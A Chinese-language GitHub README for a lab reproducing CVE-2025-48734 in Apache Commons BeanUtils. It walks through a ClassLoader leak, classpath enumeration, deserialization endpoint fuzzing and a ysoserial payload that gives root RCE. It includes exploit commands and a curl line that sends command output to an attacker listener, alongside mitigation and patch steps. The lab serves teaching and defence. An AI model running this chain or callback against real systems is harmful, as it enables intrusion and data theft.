h3raklez/CVE-2025-48784
GitHub: h3raklez/CVE-2025-48784
一个用于复现 Apache Commons BeanUtils CVE-2025-48734 漏洞的完整实验环境,展示了从属性访问信息泄露到远程代码执行的完整攻击链。
Stars: 0 | Forks: 0
# CVE-2025-48734:Apache Commons BeanUtils – enum declaringClass 信息泄露与 RCE 链
本仓库提供了一个受控的实验环境,用于复现 Apache Commons BeanUtils 中的 **CVE-2025-48734** 漏洞,并探讨攻击者如何在特定条件下将其升级为远程代码执行 (RCE)。
## 📖 漏洞描述
**CVE-2025-48734** 影响 **1.11.0** 之前版本(以及 **2.0.0-M2** 之前的 2.x 分支)的 Apache Commons BeanUtils。问题在于 `PropertyUtilsBean` 允许通过嵌套路径(例如 `enum.declaringClass`)访问 Java 枚举的 `declaringClass` 属性。所有枚举都继承了来自 `java.lang.Enum` 的 `getDeclaringClass()` 方法,BeanUtils 将其暴露为可导航的属性。
能够控制 `getProperty()` 或 `getNestedProperty()` 调用中属性路径的攻击者可以:
- 获取应用程序 `ClassLoader` 的引用(通过 `enum.declaringClass.classLoader`)。
- 通过迭代 `classLoader.URLs[n]` 枚举运行时加载的所有 JAR。
- 如果应用程序存在不安全的反序列化端点,且 classpath 中存在可利用的 gadget 库,则可升级为 RCE。
**CVSS 评分:** 8.8 (高危) — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`
## 🧪 实验环境
### 基础设施
实验环境包含两个组件:
- **Debian VM** — 运行易受攻击的 Spring Boot 应用程序。
- **Kali VM** — 运行攻击工具。
### 易受攻击的应用程序
一个暴露以下端点的 Spring Boot 服务:
- `GET /api/property?path=` — 使用 `PropertyUtilsBean.getNestedProperty()` 读取嵌套属性,未经任何清理。**这是 CVE 的入口点。**
- `GET /api/nested-set?path=&value=` — 写入嵌套属性(同样易受攻击)。
- `POST /api/data/import` — 接受原始 Java 序列化对象(`application/octet-stream`)并进行反序列化,未经验证。**这是 RCE 的投递载体。**
目标 Bean 是一个包含 `Status` 枚举的 `Order` 对象。这允许构建链式调用 `status.declaringClass.classLoader`。
### 易受攻击的依赖项
| 库 | 版本 | 链条中的作用 |
|---|---|---|
| `commons-beanutils` | 1.9.4 | CVE-2025-48734 入口点 |
| `commons-collections` | 3.2.2 | 反序列化 gadget 链 |
## ⚙️ 快速设置
### Debian VM
```
chmod +x setup-lab-debian.sh
./setup-lab-debian.sh
```
该脚本安装依赖项,编译项目,将其注册为 systemd 服务并自动启动。应用程序监听 `0.0.0.0:8080`。
### Kali VM
```
chmod +x kali-lab-tools.sh
./kali-lab-tools.sh 8080
```
该脚本安装依赖项并下载 ysoserial。
## 💀 完整攻击链
该漏洞利用由单个脚本全自动执行,并强制执行正确的阶段顺序。**每个阶段都是下一阶段的先决条件。**
```
cd ~/lab-tools
./exploit.sh 8080 ''
```
### 阶段 1 — CVE-2025-48734 侦察
脚本探测 `status.declaringClass` 和 `status.declaringClass.classLoader`。如果任一项被阻止,脚本将中止 —— 应用程序已打补丁,链条无法继续。
```
GET /api/property?path=status.declaringClass
→ "status": "success", "valueClass": "java.lang.Class"
GET /api/property?path=status.declaringClass.classLoader
→ "status": "success", "valueClass": "org.springframework.boot.loader.LaunchedURLClassLoader"
```
### 阶段 2 — 通过 CVE 枚举 Classpath
使用阶段 1 获取的 `ClassLoader` 引用,脚本迭代 `classLoader.URLs[n]` 以列出所有加载的 JAR,并查找 Commons Collections 3.x。如果未找到,脚本将中止 —— 没有 gadget 链可用。
```
GET /api/property?path=status.declaringClass.classLoader.URLs[0]
→ jar:file:/…/BOOT-INF/classes!/
GET /api/property?path=status.declaringClass.classLoader.URLs[30]
→ jar:file:/…/BOOT-INF/lib/commons-collections-3.2.2.jar!/
```
### 阶段 3 — 反序列化端点发现
确认 gadget 链后,脚本向常见的 import/sync 端点发送 Java 序列化魔术字节(`0xACED0005`)进行模糊测试,并通过响应模式识别尝试调用 `ObjectInputStream.readObject()` 的端点。如果未找到端点,脚本将中止。
```
POST /api/data/import (magic bytes)
→ HTTP 200 — endpoint found
```
### 阶段 4 — Payload 生成与投递
ysoserial 生成一个 `CommonsCollections6` payload(对 Java 11+ 最具通用性)并将其发送到发现的端点。
```
POST /api/data/import
Content-Type: application/octet-stream
Body:
→ {"status": "success", "class": "java.util.HashSet"}
```
### 阶段 5 — RCE 确认
命令在反序列化期间于服务器上执行,在返回响应之前。输出可以通过重定向到文件或通过 HTTP 回调进行渗出:
```
# 写入文件
./exploit.sh 8080 'bash -c {id,}>/tmp/out.txt'
# 然后在 Debian 上: cat /tmp/out.txt
# → uid=0(root) gid=0(root) groups=0(root)
# 通过 HTTP 渗透 (Kali 上的监听器)
python3 -m http.server 9000
./exploit.sh 8080 'curl http://:9000/$(id)'
```
## 🔍 为什么 CVE-2025-48734 是 RCE 的先决条件?
该 CVE 不是直接的 RCE 向量 —— 它是使链条其余部分成为可能的**侦察支点**:
```
Without CVE-2025-48734:
→ No ClassLoader access
→ No classpath enumeration
→ No way to confirm Commons Collections 3.x is present
→ No reason to look for a deserialization endpoint
→ Chain broken at the start
With CVE-2025-48734:
→ ClassLoader exposed
→ Full classpath visible via URLs[n]
→ Commons Collections 3.x confirmed
→ Deserialization endpoint discovered via fuzzing
→ RCE achieved
```
实现完整 RCE 必须同时满足的三个条件:
| 条件 | 本实验 | 现实世界 |
|---|---|---|
| BeanUtils < 1.11.0 且路径输入未过滤 | ✅ | 在遗留应用中常见 |
| Classpath 中存在 gadget 库 (CC 3.x) | ✅ | 在企业级 Java 中频繁出现 |
| 不安全的反序列化端点 | ✅ | 较少见,但存在于遗留/中间件集成中 |
## 🛡️ 缓解措施与补丁
### 修复 CVE-2025-48734
升级 Commons BeanUtils:
| 组件 | 易受攻击版本 | 安全版本 |
|---|---|---|
| `commons-beanutils:commons-beanutils` | < 1.11.0 | **>= 1.11.0** |
| `org.apache.commons:commons-beanutils2` | < 2.0.0-M2 | **>= 2.0.0-M2** |
在 `pom.xml` 中:
```
commons-beanutils
commons-beanutils
1.11.0
```
### 修复不安全的反序列化
两种互补的缓解措施:
1. **升级 Commons Collections** 至 4.x —— 移除 gadget 链。
2. **添加 ObjectInputFilter** —— 限制可被反序列化的类:
```
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
"java.lang.Integer;java.lang.String;!*"
));
```
### 验证补丁
将 BeanUtils 升级到 1.11.0 后,重新编译并重启服务。运行漏洞利用脚本 —— 它应在阶段 1 中止:
```
[-] declaringClass bloqueado - aplicacion PARCHEADA. Abortando.
```
## 📚 参考资料
- [NVD 上的 CVE-2025-48734](https://nvd.nist.gov/vuln/detail/CVE-2025-48734)
- [GitHub Advisory GHSA-wxr5-93ph-8wr9](https://github.com/advisories/GHSA-wxr5-93ph-8wr9)
- [Apache Commons BeanUtils 安全报告](https://commons.apache.org/proper/commons-beanutils/security-reports.html)
- [ysoserial](https://github.com/frohoff/ysoserial)
## 免责声明
本工具仅供**教育目的和经授权的安全测试**使用。针对您不拥有或未获得明确书面测试许可的系统进行未经授权的使用是非法的。作者不对任何滥用行为负责。
标签:Apache Commons BeanUtils, ClassLoader泄露, CVE-2025-48734, CVSS 8.8, GHAS, HTTP工具, Java安全, Java枚举, JS文件枚举, PropertyUtilsBean, RCE, Spring Boot, Web报告查看器, 中间件安全, 信息泄露, 利用链, 反序列化漏洞, 应用安全, 漏洞复现, 编程工具, 远程代码执行, 靶场环境, 高危漏洞